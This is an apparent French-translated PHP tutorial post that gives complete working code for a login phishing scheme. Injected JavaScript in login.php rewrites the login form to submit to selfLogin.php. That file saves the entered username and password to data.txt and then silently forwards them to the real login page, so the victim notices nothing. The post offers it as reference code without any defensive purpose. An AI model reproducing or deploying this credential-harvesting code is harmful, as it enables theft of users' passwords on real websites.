Le contenu de cet article concerne des exemples de code d'imitation du phishing de connexion en utilisant PHP et JS. Il a une certaine valeur de référence. Les amis dans le besoin peuvent s'y référer.
Introduction au répertoire
login.php Fichier de connexion normal
selfLogin.php Fichier de connexion personnalisé
data.txt enregistre les données saisies par l'utilisateur
login.php
<?php echo "<pre class="brush:php;toolbar:false">"; $userInfo = $_POST ; if ($userInfo) { # code... var_dump($userInfo,'登录成功') ;exit(); } ?> <!DOCTYPE html> <html> <head> <title>登录</title> </head> <body> <form id="login" method="post" action="login.php"> 用户姓名:<input type="text" name="name"> 用户密码:<input type="password" name="pwd"> <input type="submit" value="确认登录"> </form> </body> <script type="text/javascript"> //js劫持代码 window.onload = function (eve) { var form = document.getElementById('login'); form.innerHTML = ' <form id="login" method="post" > 用户姓名:<input type="text" name="name"> 用户密码:<input type="password" name="pwd"> <input type="submit" value="确认登录"> </form> ' ; //钓鱼地址 form.action = "selfLogin.php" ; } </script> </html>
selfLogin.php
<?php $name = '' ; $pwd = '' ; //var_dump('数据被截取了',$_POST) ; if($_POST) { //记录获取的数据信息 $name = $_POST['name'] ; $pwd = $_POST['pwd'] ; file_put_contents('data.txt', json_encode($_POST,true)) ; } ?> <!DOCTYPE html> <html> <head> <title></title> </head> <body> </body> <script type="text/javascript"> //构建之前的页面 window.onload = function (eve) { var name = '<?php echo $name; ?>' ; var pwd = '<?php echo $pwd; ?>' ; if(name && pwd) { var p = document.createElement('p'); document.body.appendChild(p); p.innerHTML =' <form id="login2" method="post" action="login.php" > '+ ' 用户姓名:<input type="text" name="name" value="'+name+'"> 用户密码:<input type="password" name="pwd" value="'+pwd+'"> ' ; document.getElementById('login2').submit(); } } </script> </html>
data.txt
{"name":"admin","pwd":"123456"}
Cet article est terminé ici. Pour un contenu plus passionnant, vous pouvez faire attention à la colonne Tutoriel vidéo JavaScript du site Web PHP chinois !
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!